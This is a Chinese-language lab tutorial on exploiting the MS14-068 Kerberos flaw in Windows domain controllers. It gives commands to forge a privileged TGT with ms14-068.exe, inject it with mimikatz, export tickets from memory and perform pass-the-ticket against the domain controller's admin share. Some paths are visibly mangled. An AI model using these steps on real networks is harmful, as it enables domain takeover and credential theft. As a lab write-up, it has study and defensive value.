更新:2020_01_17
漏洞: MS14-068
补丁编号: kb3011780 用于解决Microsoft Windows Kerberos KDC漏洞(CVE-2014-6324)
查看是否打补丁: systeminfo |find "3011780
漏洞原理:
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中
插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过
呈现具有改变的PAC的Kerberos TGT来获得票证.
自己也不会讲,因为自己也不太深入了解,就不哗众取宠了...
漏洞原因:
A、在域中默认允许设置Include-pac的值为False(不能算漏洞,应该是微软对于某些特定场景的特殊考虑设计出的机制)。
B、PAC中的数字签名可以由Client端指定,并且Key的值可以为空。
C、PAC的加密方式也可以由Client指定,并且Key的值为generate_subkey函数生成的16位随机数。
D、构造的PAC中包含高权限组的SID内容。
也就是说通过这几点Client完全伪造了一个PAC发送给KDC,并且KDC通过Client端在请求中指定的加密算法来解密伪造的PAC以及校验数字签名,并验证通过。
更详细的参考这篇文章:https://www.anquanke.com/post/id/172900?display=mobile&platform=iOS
漏洞利用前提:
1.域控没有打MS14-068的补丁(KB3011780)
2.已经拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和Sid
漏洞利用过程:
1、生成TGT:
net config workstation
ms14-068.exe -u yuyonghu01@top.pentest.top -s S-1-5-21-2174377853-1962599352-171107088-1128 -d top.pentest.top
生成的票据:
2、注入TGT:
先查看自己的klist 如果有的话 那么先清理掉 否则可能会导致无法成功
klist
清理原来的票据:klist purge
清除票据的原因:https://www.t00ls.net/viewthread.php?tid=28727
利用mimikatz进行注入
非交互式中直接执行一句话
mimikatz.exe "kerberos::ptc TGT_yuyonghu01@top.pentest.top.ccache" exit
注入成功!
查看票据:
klist
尝试访问域服务器,这里需要注意的不能用ip访问,因为是通过协议来进行认证的
dir \WIN-CKT0M35R6UO.top.pentest.topc$
后门Export the ticket:利用的是TGT默认保存在内存里,而且有效期为10小时,攻击者拿到TGT则可以直接向KDC申请访问Server的ST(也就是TGS Ticket),导致可以冒充用户获得访问权限 (PTT攻击)
再导入票据之前先清除下票据,以防止之前实验的因素的干扰
klist purge
通过mimikatz导出内存中的Ticket,执行:
sekurlsa::tickets /export
如图:
挑选其中的[0;7d8508]-2-0-60a00000-yuyonghu01@krbtgt-TOP.PENTEST.TOP.kribi
在域普通用户的主机进行导入
导入:
mimikatz "kerberos::ptt [0;7d8508]-2-0-60a00000-yuyonghu01@krbtgt-TOP.PENTEST.TOP.kirbi"
尝试访问域控服务器:
dir \WIN-CKT0M35R6UO.top.pentest.topc$